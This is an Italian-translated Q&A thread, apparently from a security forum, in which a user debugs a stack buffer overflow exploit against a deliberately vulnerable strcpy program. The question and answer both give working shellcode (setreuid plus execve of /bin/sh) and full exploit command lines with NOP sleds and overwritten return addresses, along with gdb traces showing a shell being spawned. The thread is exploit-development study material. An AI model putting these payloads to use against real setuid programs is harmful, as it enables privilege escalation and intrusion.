Il codice shell non viene eseguito e EIP viene sovrascritto

2

Ho scritto un programma vulnerabile (sotto) e alcuni shellcode (anche sotto) da usare in un exploit di buffer overflow. Ho avuto gli stessi problemi di questo link , e ha risolto quelli che utilizzavano le risposte lì (-z execstack, -fno-stack-protector). Ora ho un problema a cui ho fatto allusione in un commento.

Sovrascrivo l'indirizzo di ritorno in modo tale che punti al centro di una NOP-slitta (a "\ x38 \ xcf \ xff \ xff", little-endian, trovata usando x / 500x $ esp-500 in gdb). Il programma (comando in fondo) fornisce un errore di segmentazione:

0xffffa0e8 in ?? ()

(gdb) info register
eax            0xfffffffc   -4
ecx            0xffffd070   -12176
edx            0x0  0
ebx            0xffffd074   -12172
esp            0xffffd06c   0xffffd06c
ebp            0x2368732f   0x2368732f
esi            0x0  0
edi            0x0  0
eip            0xffffa0e8   0xffffa0e8
eflags         0x10246  [ PF ZF IF RF ]
cs             0x23 35
ss             0x2b 43
ds             0x2b 43
es             0x2b 43
fs             0x0  0
gs             0x63 99
(gdb) 

Il byte più a destra dell'indirizzo di ritorno non è quello che dovrebbe essere (eip dovrebbe leggere 0xffffcf38). Se cambio l'indirizzo di ritorno in assurdità, ad esempio "0xffffdddd", ottengo:

Program received signal SIGSEGV, Segmentation fault.
0xffffddfd in ?? ()

quasi come previsto - una "d" è diventata una "f"! Un indirizzo di ritorno di "0x42424242" funziona come previsto: segfault, 0x42424242 in ?? ()

Quindi: il comportamento previsto è avviare / bin / bash. Il comportamento effettivo consiste nel dare un errore di segmentazione, fornendo come indirizzo di ritorno qualcosa di diverso dall'indirizzo con cui sto cercando di sovrascrivere l'EIP. La domanda è: perché succede e come posso fermarlo?

Il programma vulnerabile:

#include <stdio.h>
#include <string.h>

int main(int argc, char** argv) {
    char buffer[500];
    strcpy(buffer, argv[1]);

    return 0;
}

Compilato con:

gcc -g -m32 -fno-stack-protector -z execstack -o ./vuln ./vuln.c

Lo shellcode (da o in gran parte da qui ) in assembly:

BITS 32

; setreuid(0, 0)
xor eax, eax
mov al, 70
xor ebx, ebx
xor ecx, ecx
int 0x80

jmp short two

one:
pop ebx

;execve("/bin/sh", ["/bin/sh", NULL], NULL)
xor eax, eax
mov byte [ebx+7], al
push eax
push ebx
mov ecx, esp
xor edx, edx
int 0x80

two:
call one

db  "/bin/sh#"

L'assembly è compilato con:

nasm -bin -o shellcode shellcode.asm

L'attacco viene eseguito in gdb, usando i comandi:

gdb vuln

e

run $(python -c 'print "\x90" * 473 + "\x31\xc0\xb0\x46\x31\xdb\x31\xc9\xcd\x80\xeb\x0e\x5b\x31\xc0\x88\x43\x07\x50\x53\x89\xe1\x31\xd2\xcd\x80\xe8\xed\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68\x23" + "\x38\xcf\xff\xff"')

Il sistema è Linux Mint 17.1 64-bit, in esecuzione in VirtualBox.

    
posta Henrik Oldcorn 16.03.2018 - 00:16
fonte

1 risposta

1

Dichiarazione di non responsabilità: sono super nuovo a questo e ho scritto questa risposta per migliorare la mia comprensione dei buffer overflow

Penso che tu abbia 3 problemi:

  • Il codice shell manca un byte alla fine per essere allineato
  • Il codice shell è troppo vicino al puntatore di ritorno
  • Hai dimenticato il salto indietro a ebp prima di saltare al tuo codice

La mia comprensione è che anche se eip verrà spostato nell'indirizzo che hai specificato, lo stack sarà alla fine il tuo codice shell + 4 byte - perché ret verrà inserito e poi spostato in eip .

Anche il tuo problema mi ha fatto capire qualcosa mentre stavo davvero lottando sulla stessa cosa: lo stack si muove ancora mentre sta eseguendo il tuo codice shell. Se esp è troppo vicino al tuo codice shell, push e pop istruzioni possono rovinare il tuo codice shell.

Quello che suggerisco è quindi:

  • Inizia a riempire il buffer fino al 75% di Nop
  • Inserisci il codice shell
  • Pad shell code al più vicino byte
  • Inserisci il restante Nop
  • Inserisci due volte il puntatore di ritorno - una volta per leave e l'altra per ret

Ho provato questo con un codice shell diverso:

$> env -i vuln $(python -c 'print "\x90" * 352 + "\x31\xc0\x31\xdb\xb0\x06\xcd\x80\x53\x68/tty\x68/dev\x89\xe3\x31\xc9\x66\xb9\x12\x27\xb0\x05\xcd\x80\x31\xc0\x50\x68//sh\x68/bin\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80" + "\x90"*101 + "\x48\xfc\xff\xbf"+"\xf0\xfa\xff\xbf"')
$ id
uid=1001(user) gid=1001(user) groups=1001(user)

Uso di GDB :

ebp            0xbffffc48       0xbffffc48
esp            0xbffffa30       0xbffffa30

ESP:
0xbffffa30:     0xbffffa4c      0xbffffdda      0xb7fff524      0x00000000
0xbffffa40:     0xb7fff524      0xbffffad0      0xb7fe35c9      0x90909090
0xbffffa50:     0x90909090      0x90909090      0x90909090      0x90909090

EIP:
0x80483ed <main+41>:    leave
0x80483ee <main+42>:    ret
0x80483ef:      nop

Then next instruction :

ebp            0xbffffaf0       0xbffffaf0
esp            0xbffffc4c       0xbffffc4c

ESP:
0xbffffc4c:     0xbffffaf0      0x00000000      0xbffffcf4      0xbffffd00

EIP:
0x80483ee <main+42>:    ret

Passiamo all'indirizzo in $esp :

ebp            0xbffffaf0       0xbffffaf0
esp            0xbffffc50       0xbffffc50

ESP:
0xbffffc50:     0x00000000      0xbffffcf4      0xbffffd00      0xb7fe1848
0xbffffc60:     0xbffffcb0      0xffffffff      0xb7ffeff4      0x08048234

EIP:
0xbffffaf0:     nop

E lascia che la diapositiva abbia inizio:

(gdb) c
Continuing.
Executing new program: /bin/dash
$
    
risposta data 16.03.2018 - 02:38
fonte

Leggi altre domande sui tag